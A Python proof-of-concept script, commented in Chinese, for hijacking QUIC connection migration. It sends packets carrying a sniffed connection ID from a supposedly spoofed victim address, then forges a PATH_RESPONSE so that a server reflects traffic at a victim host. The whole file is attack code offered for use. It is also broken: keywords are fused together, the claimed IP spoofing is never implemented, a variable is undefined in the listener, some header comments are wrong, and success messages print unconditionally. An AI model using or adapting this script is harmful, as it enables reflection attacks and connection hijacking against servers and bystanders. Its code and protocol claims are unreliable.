QUIC 的 CID 旋转门

#!/usr/bin/env python3
"""
quic_cid_hijack.py — QUIC 连接迁移中的路径劫持 PoC
依赖：pip install aioquic
"""

import asyncio
import socket
import struct
from aioquic.quic.connection import QuicConnection
from aioquic.quic.packet import PACKET_TYPE_INITIAL, encode_quic_version_negotiation
from aioquic.quic.configuration import QuicConfiguration
from aioquic.quic.crypto import CryptoContext
from aioquic.quic.packet_builder import QuicPacketBuilder
from aioquic.quic.logger import QuicLogger

# 配置
SERVER_IP = "10.0.0.1"
SERVER_PORT = 443
VICTIM_IP = "10.0.0.100"# 受害者 IP（被反射流量攻击）
SNIFFED_CID = bytes.fromhex("a1b2c3d4e5f6a7b8")  # 合法客户端 CID（需提前捕获）

defforge_connection_migration():
"""构造连接迁移请求，触发服务端向受害者发送 PATH_CHALLENGE"""
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

# 构造 QUIC Short Header 包，携带合法 CID
# Short Header 格式（简化）：
#   bit 0 = 1 (Short Header)
#   bit 1 = 0 (Spin Bit)
#   bits 2-3 = Reserved
#   bits 4-5 = 0 (no Version Negotiation)
#   bits 6-7 = 1 (Key Phase)
#   Destination CID follows
    header_byte = 0b01000001# Short Header, Key Phase 0
    payload = b'\x00' * 20# 最小 PATH_CHALLENGE 或其他帧

    packet = header_byte.to_bytes(1, 'big') + SNIFFED_CID + payload

# 伪造源 IP 为受害者地址
    sock.sendto(packet, (SERVER_IP, SERVER_PORT))
    print(f"[+] 已向 {SERVER_IP}:{SERVER_PORT} 发送伪造迁移请求")
    print(f"[*] 源 IP 伪造为 {VICTIM_IP}")
    print(f"[*] CID: {SNIFFED_CID.hex()}")
    sock.close()

asyncdeflisten_path_challenge():
"""监听服务端发出的 PATH_CHALLENGE 并构造 PATH_RESPONSE"""
    loop = asyncio.get_event_loop()
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.bind(('0.0.0.0', 0))

# 构建 QUIC 监听器
classDummyConnection:
def__init__(self):
            self.cids = set()

    print("[*] 监听 PATH_CHALLENGE 帧...")

whileTrue:
        data, addr = await loop.sock_recvfrom(sock, 65535)
# 解析 QUIC 包，检测 PATH_CHALLENGE 帧（帧类型 0x1A）
# 在实际 QUIC 实现中，PATH_CHALLENGE 携带 8 字节随机数
if len(data) > 40:  # 粗略检查
# 寻找 PATH_CHALLENGE 帧（0x1A）
for i in range(len(data) - 10):
if data[i] == 0x1A:  # PATH_CHALLENGE 类型
                    challenge_data = data[i+1:i+9]
                    print(f"[+] 捕获 PATH_CHALLENGE: {challenge_data.hex()}")

# 构造 PATH_RESPONSE（帧类型 0x1B + 相同载荷）
                    response_frame = b'\x1B' + challenge_data
# 封装为 QUIC 包发送回服务端
                    forged_packet = header_byte.to_bytes(1, 'big') + SNIFFED_CID + response_frame
                    sock.sendto(forged_packet, (SERVER_IP, SERVER_PORT))
                    print(f"[+] 已发送伪造 PATH_RESPONSE")
                    print(f"[!] 服务端已将连接迁移至受害者 {VICTIM_IP}")
return

asyncdefmain():
# 步骤 1：触发连接迁移
    forge_connection_migration()

# 步骤 2：监听 PATH_CHALLENGE 并回应（在真实攻击中需与步骤 1 并行）
await asyncio.sleep(1)
# await listen_path_challenge()  # 需在可以拦截流量的位置执行

if __name__ == "__main__":
    asyncio.run(main())